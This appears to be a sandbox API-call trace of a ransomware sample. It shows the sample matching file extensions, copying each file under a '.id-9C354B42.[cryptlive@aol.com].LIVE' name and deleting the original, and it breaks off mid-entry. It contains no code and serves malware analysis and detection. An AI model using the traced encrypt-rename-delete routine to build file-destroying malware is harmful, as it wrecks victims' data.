[0056.311] lstrlenW (lpString=".docx") returned 5 [0056.311] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0056.311] lstrlenW (lpString=".pdf") returned 4 [0056.311] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString=".xls") returned 4 [0056.311] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString=".xlsx") returned 5 [0056.311] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0056.311] lstrlenW (lpString=".ppt") returned 4 [0056.311] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".zip") returned 4 [0056.311] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString=".rar") returned 4 [0056.311] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString=".bz2") returned 4 [0056.311] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString=".7z") returned 3 [0056.311] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".dbf") returned 4 [0056.311] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".1cd") returned 4 [0056.311] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".jpg") returned 4 [0056.311] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.311] lstrlenW (lpString=".doc") returned 4 [0056.312] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".docx") returned 5 [0056.312] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0056.312] lstrlenW (lpString=".pdf") returned 4 [0056.312] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".xls") returned 4 [0056.312] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".xlsx") returned 5 [0056.312] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0056.312] lstrlenW (lpString=".ppt") returned 4 [0056.312] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.312] lstrlenW (lpString=".zip") returned 4 [0056.312] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".rar") returned 4 [0056.312] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".bz2") returned 4 [0056.312] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString=".7z") returned 3 [0056.312] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0056.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.312] lstrlenW (lpString=".dbf") returned 4 [0056.312] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.312] lstrlenW (lpString=".1cd") returned 4 [0056.312] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0056.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0056.312] lstrlenW (lpString=".jpg") returned 4 [0056.312] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0056.312] lstrcmpiW (lpString1=".HLP", lpString2=".LIVE") returned -1 [0056.312] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0056.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.313] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=176311) returned 1 [0056.313] CloseHandle (hObject=0x200) returned 1 [0056.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0056.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.314] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.314] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.314] GetLastError () returned 0x0 [0056.314] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0056.318] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0056.553] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.553] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.553] SetEndOfFile (hFile=0x20c) returned 1 [0056.553] CloseHandle (hObject=0x20c) returned 1 [0056.553] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.553] SetEndOfFile (hFile=0x200) returned 1 [0056.555] CloseHandle (hObject=0x200) returned 1 [0056.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.555] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.556] lstrlenW (lpString=".doc") returned 4 [0056.556] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0056.556] lstrlenW (lpString=".docx") returned 5 [0056.556] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0056.556] lstrlenW (lpString=".pdf") returned 4 [0056.556] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0056.556] lstrlenW (lpString=".xls") returned 4 [0056.556] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0056.556] lstrlenW (lpString=".xlsx") returned 5 [0056.556] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0056.556] lstrlenW (lpString=".ppt") returned 4 [0056.556] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.556] lstrlenW (lpString=".zip") returned 4 [0056.556] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0056.556] lstrlenW (lpString=".rar") returned 4 [0056.556] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0056.556] lstrlenW (lpString=".bz2") returned 4 [0056.556] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0056.556] lstrlenW (lpString=".7z") returned 3 [0056.556] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.556] lstrlenW (lpString=".dbf") returned 4 [0056.556] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.556] lstrlenW (lpString=".1cd") returned 4 [0056.556] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0056.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".jpg") returned 4 [0056.557] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".doc") returned 4 [0056.557] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0056.557] lstrlenW (lpString=".docx") returned 5 [0056.557] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0056.557] lstrlenW (lpString=".pdf") returned 4 [0056.557] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString=".xls") returned 4 [0056.557] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString=".xlsx") returned 5 [0056.557] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0056.557] lstrlenW (lpString=".ppt") returned 4 [0056.557] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".zip") returned 4 [0056.557] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString=".rar") returned 4 [0056.557] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0056.557] lstrlenW (lpString=".bz2") returned 4 [0056.557] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0056.557] lstrlenW (lpString=".7z") returned 3 [0056.557] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".dbf") returned 4 [0056.557] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".1cd") returned 4 [0056.557] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0056.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0056.557] lstrlenW (lpString=".jpg") returned 4 [0056.558] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0056.558] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0056.558] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0056.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.558] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=31104) returned 1 [0056.558] CloseHandle (hObject=0x200) returned 1 [0056.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0056.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.559] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.559] GetLastError () returned 0x0 [0056.559] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x7980, lpOverlapped=0x0) returned 1 [0056.561] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0056.562] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.562] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.562] SetEndOfFile (hFile=0x20c) returned 1 [0056.563] CloseHandle (hObject=0x20c) returned 1 [0056.563] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.563] SetEndOfFile (hFile=0x200) returned 1 [0056.564] CloseHandle (hObject=0x200) returned 1 [0056.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.564] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0056.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.564] lstrlenW (lpString=".doc") returned 4 [0056.564] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.564] lstrlenW (lpString=".docx") returned 5 [0056.564] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0056.564] lstrlenW (lpString=".pdf") returned 4 [0056.564] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.564] lstrlenW (lpString=".xls") returned 4 [0056.564] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString=".xlsx") returned 5 [0056.565] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0056.565] lstrlenW (lpString=".ppt") returned 4 [0056.565] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString=".zip") returned 4 [0056.565] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString=".rar") returned 4 [0056.565] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString=".bz2") returned 4 [0056.565] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.565] lstrlenW (lpString=".7z") returned 3 [0056.565] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString=".dbf") returned 4 [0056.565] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString=".1cd") returned 4 [0056.565] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString=".jpg") returned 4 [0056.565] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.565] lstrlenW (lpString=".doc") returned 4 [0056.565] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString=".docx") returned 5 [0056.565] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0056.565] lstrlenW (lpString=".pdf") returned 4 [0056.565] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0056.565] lstrlenW (lpString=".xls") returned 4 [0056.565] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0056.566] lstrlenW (lpString=".xlsx") returned 5 [0056.566] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0056.566] lstrlenW (lpString=".ppt") returned 4 [0056.566] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.566] lstrlenW (lpString=".zip") returned 4 [0056.566] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0056.566] lstrlenW (lpString=".rar") returned 4 [0056.566] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0056.566] lstrlenW (lpString=".bz2") returned 4 [0056.566] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0056.566] lstrlenW (lpString=".7z") returned 3 [0056.566] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.566] lstrlenW (lpString=".dbf") returned 4 [0056.566] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.566] lstrlenW (lpString=".1cd") returned 4 [0056.566] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0056.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0056.566] lstrlenW (lpString=".jpg") returned 4 [0056.566] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0056.566] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0056.566] lstrlenW (lpString="msgfilt.dll") returned 11 [0056.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.567] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=38768) returned 1 [0056.567] CloseHandle (hObject=0x200) returned 1 [0056.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0056.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0056.568] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.568] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.576] GetLastError () returned 0x0 [0056.576] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x9770, lpOverlapped=0x0) returned 1 [0056.578] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0056.579] ReadFile (in: hFile=0x200, lpBuffer=0x3c40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.579] WriteFile (in: hFile=0x20c, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.579] SetEndOfFile (hFile=0x20c) returned 1 [0056.580] CloseHandle (hObject=0x20c) returned 1 [0056.580] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.580] SetEndOfFile (hFile=0x200) returned 1 [0056.581] CloseHandle (hObject=0x200) returned 1 [0056.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0056.581] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0056.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.581] lstrlenW (lpString=".doc") returned 4 [0056.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".docx") returned 5 [0056.582] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0056.582] lstrlenW (lpString=".pdf") returned 4 [0056.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".xls") returned 4 [0056.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".xlsx") returned 5 [0056.582] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0056.582] lstrlenW (lpString=".ppt") returned 4 [0056.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0056.582] lstrlenW (lpString=".zip") returned 4 [0056.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".rar") returned 4 [0056.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.582] lstrlenW (lpString=".bz2") returned 4 [0056.582] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.582] lstrlenW (lpString=".7z") returned 3 [0056.582] 